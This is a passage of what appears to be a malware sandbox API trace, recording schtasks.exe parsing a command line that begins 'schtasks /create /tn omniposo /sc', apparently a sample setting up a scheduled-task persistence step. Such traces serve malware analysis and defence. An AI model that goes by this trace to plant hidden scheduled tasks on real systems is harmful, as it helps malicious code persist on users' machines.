(_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.666] _vsnwprintf (in: _Buffer=0x2ebd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc658 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0091.666] VerQueryValueW (in: pBlock=0x2eddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc6e8, puLen=0xfc6d8 | out: lplpBuffer=0xfc6e8*=0x2edf98, puLen=0xfc6d8) returned 1 [0091.666] lstrlenW (lpString="schtasks.exe") returned 12 [0091.667] lstrlenW (lpString="schtasks.exe") returned 12 [0091.667] lstrlenW (lpString=".EXE") returned 4 [0091.667] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0091.667] lstrlenW (lpString="schtasks.exe") returned 12 [0091.667] lstrlenW (lpString=".EXE") returned 4 [0091.667] lstrlenW (lpString="schtasks") returned 8 [0091.667] lstrlenW (lpString="/create") returned 7 [0091.667] _memicmp (_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.667] _vsnwprintf (in: _Buffer=0x2ebd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc658 | out: _Buffer="schtasks /create") returned 16 [0091.667] _memicmp (_Buf1=0x2ebb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.667] GetProcessHeap () returned 0x2d0000 [0091.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecec0 [0091.667] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.667] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0091.667] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0091.668] GetProcessHeap () returned 0x2d0000 [0091.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7bd0 [0091.668] _vsnwprintf (in: _Buffer=0x2ec110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc658 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0091.668] GetProcessHeap () returned 0x2d0000 [0091.668] GetProcessHeap () returned 0x2d0000 [0091.668] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddd0) returned 1 [0091.668] GetProcessHeap () returned 0x2d0000 [0091.668] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eddd0) returned 0x74e [0091.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddd0 | out: hHeap=0x2d0000) returned 1 [0091.669] SetLastError (dwErrCode=0x0) [0091.669] GetThreadLocale () returned 0x409 [0091.669] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.669] lstrlenW (lpString="create") returned 6 [0091.669] GetThreadLocale () returned 0x409 [0091.669] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.669] lstrlenW (lpString="?") returned 1 [0091.669] GetThreadLocale () returned 0x409 [0091.669] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.669] lstrlenW (lpString="s") returned 1 [0091.669] GetThreadLocale () returned 0x409 [0091.669] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.669] lstrlenW (lpString="u") returned 1 [0091.669] GetThreadLocale () returned 0x409 [0091.669] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="p") returned 1 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="ru") returned 2 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="rp") returned 2 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="sc") returned 2 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="mo") returned 2 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="d") returned 1 [0091.670] GetThreadLocale () returned 0x409 [0091.670] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.670] lstrlenW (lpString="m") returned 1 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="i") returned 1 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="tn") returned 2 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="tr") returned 2 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="st") returned 2 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="sd") returned 2 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.671] lstrlenW (lpString="ed") returned 2 [0091.671] GetThreadLocale () returned 0x409 [0091.671] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="it") returned 2 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="et") returned 2 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="k") returned 1 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="du") returned 2 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="ri") returned 2 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="z") returned 1 [0091.672] GetThreadLocale () returned 0x409 [0091.672] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.672] lstrlenW (lpString="f") returned 1 [0091.673] GetThreadLocale () returned 0x409 [0091.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.673] lstrlenW (lpString="v1") returned 2 [0091.673] GetThreadLocale () returned 0x409 [0091.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.673] lstrlenW (lpString="xml") returned 3 [0091.673] GetThreadLocale () returned 0x409 [0091.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.673] lstrlenW (lpString="ec") returned 2 [0091.673] GetThreadLocale () returned 0x409 [0091.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.673] lstrlenW (lpString="rl") returned 2 [0091.673] GetThreadLocale () returned 0x409 [0091.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.676] lstrlenW (lpString="delay") returned 5 [0091.676] GetThreadLocale () returned 0x409 [0091.676] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.676] lstrlenW (lpString="np") returned 2 [0091.676] SetLastError (dwErrCode=0x0) [0091.676] SetLastError (dwErrCode=0x0) [0091.676] lstrlenW (lpString="/create") returned 7 [0091.676] lstrlenW (lpString="-/") returned 2 [0091.676] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.677] lstrlenW (lpString="create") returned 6 [0091.677] lstrlenW (lpString="create") returned 6 [0091.677] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.677] lstrlenW (lpString="create") returned 6 [0091.677] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.677] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.677] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.678] lstrlenW (lpString="|create|") returned 8 [0091.678] lstrlenW (lpString="|create|") returned 8 [0091.678] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0091.678] SetLastError (dwErrCode=0x0) [0091.678] SetLastError (dwErrCode=0x0) [0091.678] SetLastError (dwErrCode=0x0) [0091.678] lstrlenW (lpString="/tn") returned 3 [0091.678] lstrlenW (lpString="-/") returned 2 [0091.678] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.678] lstrlenW (lpString="create") returned 6 [0091.678] lstrlenW (lpString="create") returned 6 [0091.678] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.678] lstrlenW (lpString="tn") returned 2 [0091.678] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.678] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.678] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.678] lstrlenW (lpString="|create|") returned 8 [0091.678] lstrlenW (lpString="|tn|") returned 4 [0091.678] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0091.678] SetLastError (dwErrCode=0x490) [0091.678] lstrlenW (lpString="?") returned 1 [0091.678] lstrlenW (lpString="?") returned 1 [0091.678] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.678] lstrlenW (lpString="tn") returned 2 [0091.678] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.678] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.678] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.678] lstrlenW (lpString="|?|") returned 3 [0091.678] lstrlenW (lpString="|tn|") returned 4 [0091.678] SetLastError (dwErrCode=0x490) [0091.678] lstrlenW (lpString="s") returned 1 [0091.679] lstrlenW (lpString="s") returned 1 [0091.679] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] lstrlenW (lpString="tn") returned 2 [0091.679] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.679] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.679] lstrlenW (lpString="|s|") returned 3 [0091.679] lstrlenW (lpString="|tn|") returned 4 [0091.679] SetLastError (dwErrCode=0x490) [0091.679] lstrlenW (lpString="u") returned 1 [0091.679] lstrlenW (lpString="u") returned 1 [0091.679] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] lstrlenW (lpString="tn") returned 2 [0091.679] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.679] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.679] lstrlenW (lpString="|u|") returned 3 [0091.679] lstrlenW (lpString="|tn|") returned 4 [0091.679] SetLastError (dwErrCode=0x490) [0091.679] lstrlenW (lpString="p") returned 1 [0091.679] lstrlenW (lpString="p") returned 1 [0091.679] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] lstrlenW (lpString="tn") returned 2 [0091.679] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.679] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.679] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.679] lstrlenW (lpString="|p|") returned 3 [0091.679] lstrlenW (lpString="|tn|") returned 4 [0091.679] SetLastError (dwErrCode=0x490) [0091.679] lstrlenW (lpString="ru") returned 2 [0091.679] lstrlenW (lpString="ru") returned 2 [0091.679] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] lstrlenW (lpString="tn") returned 2 [0091.680] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.680] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.680] lstrlenW (lpString="|ru|") returned 4 [0091.680] lstrlenW (lpString="|tn|") returned 4 [0091.680] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0091.680] SetLastError (dwErrCode=0x490) [0091.680] lstrlenW (lpString="rp") returned 2 [0091.680] lstrlenW (lpString="rp") returned 2 [0091.680] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] lstrlenW (lpString="tn") returned 2 [0091.680] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.680] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.680] lstrlenW (lpString="|rp|") returned 4 [0091.680] lstrlenW (lpString="|tn|") returned 4 [0091.680] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0091.680] SetLastError (dwErrCode=0x490) [0091.680] lstrlenW (lpString="sc") returned 2 [0091.680] lstrlenW (lpString="sc") returned 2 [0091.680] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] lstrlenW (lpString="tn") returned 2 [0091.680] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.680] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.680] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.680] lstrlenW (lpString="|sc|") returned 4 [0091.680] lstrlenW (lpString="|tn|") returned 4 [0091.680] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0091.680] SetLastError (dwErrCode=0x490) [0091.680] lstrlenW (lpString="mo") returned 2 [0091.681] lstrlenW (lpString="mo") returned 2 [0091.681] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] lstrlenW (lpString="tn") returned 2 [0091.681] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.681] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.681] lstrlenW (lpString="|mo|") returned 4 [0091.681] lstrlenW (lpString="|tn|") returned 4 [0091.681] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0091.681] SetLastError (dwErrCode=0x490) [0091.681] lstrlenW (lpString="d") returned 1 [0091.681] lstrlenW (lpString="d") returned 1 [0091.681] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] lstrlenW (lpString="tn") returned 2 [0091.681] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|d|") returned 3 [0091.681] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.681] lstrlenW (lpString="|d|") returned 3 [0091.681] lstrlenW (lpString="|tn|") returned 4 [0091.681] SetLastError (dwErrCode=0x490) [0091.681] lstrlenW (lpString="m") returned 1 [0091.681] lstrlenW (lpString="m") returned 1 [0091.681] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] lstrlenW (lpString="tn") returned 2 [0091.681] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.681] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|m|") returned 3 [0091.681] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.681] lstrlenW (lpString="|m|") returned 3 [0091.681] lstrlenW (lpString="|tn|") returned 4 [0091.681] SetLastError (dwErrCode=0x490) [0091.681] lstrlenW (lpString="i") returned 1 [0091.682] lstrlenW (lpString="i") returned 1 [0091.682] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.682] lstrlenW (lpString="tn") returned 2 [0091.682] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.682] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|i|") returned 3 [0091.682] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.682] lstrlenW (lpString="|i|") returned 3 [0091.682] lstrlenW (lpString="|tn|") returned 4 [0091.682] SetLastError (dwErrCode=0x490) [0091.682] lstrlenW (lpString="tn") returned 2 [0091.682] lstrlenW (lpString="tn") returned 2 [0091.682] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.682] lstrlenW (lpString="tn") returned 2 [0091.682] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.682] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.682] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.682] lstrlenW (lpString="|tn|") returned 4 [0091.682] lstrlenW (lpString="|tn|") returned 4 [0091.682] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0091.682] SetLastError (dwErrCode=0x0) [0091.682] SetLastError (dwErrCode=0x0) [0091.682] lstrlenW (lpString="omniposo") returned 8 [0091.682] lstrlenW (lpString="-/") returned 2 [0091.682] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0091.682] SetLastError (dwErrCode=0x490) [0091.682] SetLastError (dwErrCode=0x490) [0091.682] SetLastError (dwErrCode=0x0) [0091.683] lstrlenW (lpString="omniposo") returned 8 [0091.683] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0091.683] SetLastError (dwErrCode=0x490) [0091.683] SetLastError (dwErrCode=0x0) [0091.683] lstrlenW (lpString="omniposo") returned 8 [0091.683] SetLastError (dwErrCode=0x0) [0091.683] SetLastError (dwErrCode=0x0) [0091.683] lstrlenW (lpString="/sc") returned 3 [0091.683] lstrlenW (lpString="-/") returned 2 [0091.683] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.683] lstrlenW (lpString="create") returned 6 [0091.683] lstrlenW (lpString="create") returned 6 [0091.683] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.683] lstrlenW (lpString="sc") returned 2 [0091.683] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.683] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.683] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.683] lstrlenW (lpString="|create|") returned 8 [0091.683] lstrlenW (lpString="|sc|") returned 4 [0091.683] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0091.683] SetLastError (dwErrCode=0x490) [0091.683] lstrlenW (lpString="?") returned 1 [0091.683] lstrlenW (lpString="?") returned 1 [0091.683] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.683] lstrlenW (lpString="sc") returned 2 [0091.683] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.683] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.684] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.684] lstrlenW (lpString="|?|") returned 3 [0091.684] lstrlenW (lpString="|sc|") returned 4 [0091.684] SetLastError (dwErrCode=0x490) [0091.684] lstrlenW (lpString="s") returned 1 [0091.684] lstrlenW (lpString="s") returned 1 [0091.684] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.684] lstrlenW (lpString="sc") returned 2 [0091.684] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.684] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.684] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.684] lstrlenW (lpString="|s|") returned 3 [0091.684] lstrlenW (lpString="|sc|") returned 4 [0091.684] SetLastError (dwErrCode=0x490) [0091.684] lstrlenW (lpString="u") returned 1 [0091.684] lstrlenW (lpString="u") returned 1 [0091.684] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.684] lstrlenW (lpString="sc") returned 2 [0091.684] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.684] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.684] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.684] lstrlenW (lpString="|u|") returned 3 [0091.684] lstrlenW (lpString="|sc|") returned 4 [0091.684] SetLastError (dwErrCode=0x490) [0091.684] lstrlenW (lpString="p") returned 1 [0091.684] lstrlenW (lpString="p") returned 1 [0091.684] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.684] lstrlenW (lpString="sc") returned 2 [0091.685] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.685] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.685] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.685] lstrlenW (lpString="|p|") returned 3 [0091.685] lstrlenW (lpString="|sc|") returned 4 [0091.685] SetLastError (dwErrCode=0x490) [0091.685] lstrlenW (lpString="ru") returned 2 [0091.685] lstrlenW (lpString="ru") returned 2 [0091.685] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.685] lstrlenW (lpString="sc") returned 2 [0091.685] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.685] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.685] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.685] lstrlenW (lpString="|ru|") returned 4 [0091.685] lstrlenW (lpString="|sc|") returned 4 [0091.685] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0091.685] SetLastError (dwErrCode=0x490) [0091.685] lstrlenW (lpString="rp") returned 2 [0091.685] lstrlenW (lpString="rp") returned 2 [0091.685] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.685] lstrlenW (lpString="sc") returned 2 [0091.685] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.685] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.685] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.685] lstrlenW (lpString="|rp|") returned 4 [0091.685] 